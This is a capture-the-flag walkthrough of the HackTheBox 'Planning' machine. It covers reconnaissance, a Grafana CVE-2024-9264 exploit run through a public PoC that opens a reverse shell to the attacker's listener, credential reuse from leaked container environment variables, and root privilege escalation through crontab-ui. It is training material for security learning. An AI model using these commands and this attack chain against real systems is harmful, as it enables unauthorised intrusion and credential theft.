All articles

HackTheBox — Planning

A full walkthrough of a penetration test on the Planning machine from HackTheBox: from reconnaissance to privilege escalation, via an RCE on Grafana.

HackTheBox Planning writeup
Training environment. HackTheBox is a legal training platform. The techniques shown must only be used on authorised targets.

🔍 Reconnaissance

We start with an aggressive Nmap scan (acceptable here — it's a lab):

nmap -A 10.10.11.68

Two open ports: 22 (SSH, OpenSSH 9.6p1) and 80 (nginx 1.24.0). The site is served through a virtual host, so we add the entry to our hosts file:

echo "10.10.11.68  planning.htb" | sudo tee -a /etc/hosts

The site is an online-courses platform. Directory enumeration with gobuster reveals nothing hidden:

gobuster dir -u http://planning.htb -w /usr/share/wordlists/dirb/common.txt -x php

We switch to subdomain enumeration, which surfaces an interesting vhost:

gobuster vhost -t 100 -u planning.htb -w dnslist.txt --append-domain
# Found: grafana.planning.htb  Status: 302 [--> /login]

💉 Exploitation — Grafana

The vhost hosts Grafana 11.0.0, vulnerable to CVE-2024-9264 (RCE via SQL expressions). With a public PoC and the provided credentials, we open a listener then trigger the reverse shell:

nc -lvp 8888
python poc.py --url http://grafana.planning.htb \
  --username admin --password <provided> \
  --reverse-ip 10.10.14.42 --reverse-port 8888
⚠️ Always read and understand an exploit pulled from the internet before running it.

The shell comes back as root… but inside a Grafana container. The env command leaks a username / password pair:

GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=<password>

Since port 22 is open on the host, we try that pair over SSH — and it works. First flag in ~/user.txt.

🔑 Privilege escalation

We're now on the host that serves the site. An editable crontab file reveals a password:

cat /opt/crontabs/crontab.db
# ... "command": ... zip -P <password> ...

netstat -l shows services listening only on localhost, including one on port 8000. We set up an SSH tunnel to reach it:

ssh -L 8000:localhost:8000 enzo@10.10.11.68

Behind it: crontab-ui, a web interface to manage cron jobs. The credentials found earlier grant admin access. Since these crons run as root, creating a new task lets us run a privileged command and read the root flag.

Takeaways

  • Subdomains often hide the real attack surface — don't stop at directory enumeration.
  • A "root" container is not the host: environment variables regularly leak secrets reusable elsewhere.
  • Cron jobs running as root and admin interfaces bound to localhost are a classic privilege-escalation path.

Note: the box's real secrets are intentionally masked here.